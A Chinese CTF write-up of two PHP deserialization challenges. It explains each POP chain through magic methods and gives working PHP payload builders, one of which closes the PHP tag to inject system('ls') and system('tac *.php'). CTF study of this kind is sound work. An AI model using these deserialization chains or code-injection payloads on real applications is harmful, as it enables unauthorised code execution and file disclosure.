首页 > 其他分享 >Week13 WriteUp

Week13 WriteUp

时间:2024-11-25 18:56:02浏览次数:6  
标签:__ f1 Week13 变量 指向 WriteUp m1 fin

easy_pop

首先访问/www.zip目录,获得源码.

题目要求在hello这里传入一个pop链. 分析一下不难得出:

  1. 先调用Start__wakeup()
  2. name变量连接到Info,通过echo调用Info__toString()
  3. 将其中的file['filename']变量连接到Room,通过指向其不存在的元素调用Room__get()
  4. a变量连接回Room自身,通过被当作函数调用其__invoke(),获得答案.
构造代码
<?php
class Start
{
    public $name='guest';
}

class Info
{
}

class Room
{
    public $filename='/flag';
    public $a='';
}
$a=new Start();
$b=new Info();
$c=new Room();
$d=new Room();
$c->a=$d;
$b->file['filename']=$c;
$a->name=$b;
echo serialize($a);
?>

Source:题库

baby_pop

观察得知起点只能选择fin. 构造的pop链如下:

  1. fin__destruct()开始;
  2. 将变量f1指向what,以触发__toString()
  3. 将变量a指向mix(或fin),以调用其中run()函数;
  4. 将变量m1(或f1)指向crow,以触发__invoke()
  5. 将变量v1指向fin,由于world()函数不存在,触发其中的__call()
  6. 将变量f1指向mix,以调用get_flag().

对于想要执行的命令,由于前面有一个注释符号导致命令无法正常执行,可以通过闭合php标签的方式绕过.

$m1='?><?php {your_code_here}';
构造代码
<?php
class crow
{
    public $v1;
}
class fin
{
    public $f1;
}
class what
{
    public $a;
}
class mix
{
    public $m1;
}
$a=new fin();
$b=new what();
$c=new mix();
$d=new crow();
$e=new fin();
$f=new mix();
$f->m1='?> <?php system(\'ls\'); system(\'tac *.php\');';
$e->f1=$f;
$d->v1=$e;
$c->m1=$d;
$b->a=$c;
$a->f1=$b;
echo serialize($a);
?>

另一种思路

在第4步时将指向函数直接设置为mix中的get_flag(),直接执行.

构造代码
<?php
class crow
{
    public $v1;
}

class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}
$a=new fin();
$b=new what();
$c=new mix();
$f=new mix();
$f->m1='?> <?php system(\'ls\'); system(\'tac *.php\');';
$c->m1=array($f,'get_flag');
$b->a=$c;
$a->f1=$b;
echo serialize($a);
?>

Source:题库

标签:__,f1,Week13,变量,指向,WriteUp,m1,fin
From: https://www.cnblogs.com/AC1Liu/p/18568130

相关文章

  • HTB:WifineticTwo[WriteUP]
    目录连接至HTB服务器并启动靶机信息搜集使用rustscan对靶机TCP端口进行开放扫描使用nmap对靶机开放端口进行脚本、服务扫描使用curl访问靶机8080端口使用浏览器直接访问/login路径漏洞利用使用searchsploit搜索该WebAPP漏洞PayloadUSER_FLAG:bb4486cda052880dad71c535......
  • 【CTF Web】Pikachu 不安全的url跳转 Writeup(URL重定向+代码审计)
    不安全的url跳转不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。url跳转比较直接的危害是:–>钓鱼,......
  • 【CTF Web】Pikachu SSRF(curl) Writeup(SSRF+读取文件+探测端口)
    SSRF(Server-SideRequestForgery:服务器端请求伪造)其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据数据流:攻击者-----......
  • WriteUp - 江苏省领航杯 CTF 2024
    文章目录一、前言二、MISC高职组1、签到2、BASE拓展3、PG本科组1、签到2、veee3、seeme三、WEB高职组1、aio2、robots3、web_sql_xxe本科组1、web_sql_xxe2、提权3、acxi拓展四、CRYPTO高职组1、兔兔2、1zRSA本科组1、兔兔2、Evaluate五、REVERSE高职组1、eas......
  • HTB:Jerry[WriteUP]
    目录连接至HTB服务器并启动靶机1.WhichTCPportisopenontheremotehost?2.Whichwebserverisrunningontheremotehost?Lookingfortwowords.3.WhichrelativepathonthewebserverleadstotheWebApplicationManager?4.Whatisthevalidusername......
  • HTB:Lame[WriteUP]
    目录连接至HTB服务器并启动靶机1.Howmanyofthenmaptop1000TCPportsareopenontheremotehost?2.WhatversionofVSFTPdisrunningonLame?3.ThereisafamousbackdoorinVSFTPdversion2.3.4,andaMetasploitmoduletoexploitit.Doesthatexploi......
  • HTB:Legacy[WriteUP]
    目录连接至HTB服务器并启动靶机1.HowmanyTCPportsareopenonLegacy?2.Whatisthe2008CVEIDforavulnerabilityinSMBthatallowsforremotecodeexecution?3.WhatisthenameoftheMetasploitmodulethatexploitsCVE-2008-4250?4.WhenexploitingM......
  • NewStarCtf 2024第一周writeup
    有几道题没写出来,但还是希望能够帮到大家理解更多的CTF知识Signin操作内容:做选择题得出flag。flag值:flag{I_Agr3e_to_FoL10w_th3_ru1es_c41fa97d}MISC兑换码操作内容:题目提示flag在图片下方,010修改图片宽度,得到flag。flag值:flag{La_vaguelette}MISCLabyrinth操......
  • 【极客大挑战2023】- Re -点击就送的逆向题 WriteUp
    这道题给了一个.s文件解决方案有两个:1.利用gcc编译成可执行文件,然后反编译生成伪代码2.直接分析汇编(我不会。。。)1.利用gcc编译成可执行文件linux执行gcc-o1.s1IDA打开,分析并编写,注意一定要在字符串末尾加上\0结束符!!!点击查看代码#include<stdio.h>intmain(void){......
  • 【极客大挑战2023】RE方向 WriteUp
    1.砍树下载题目得到一个apk文件,jadx打开,查看Android.Manifest.xml查看MainActivity发现使用了一个I0o0I处理了输入和Syclover,猜测应该是对text处理后与Syclover对比,当result赋值为1就成功了。故查看I0o0I发现I0o0I再so文件中,故查看libezreeeee.so文件IDA打开,查找I0o0I生......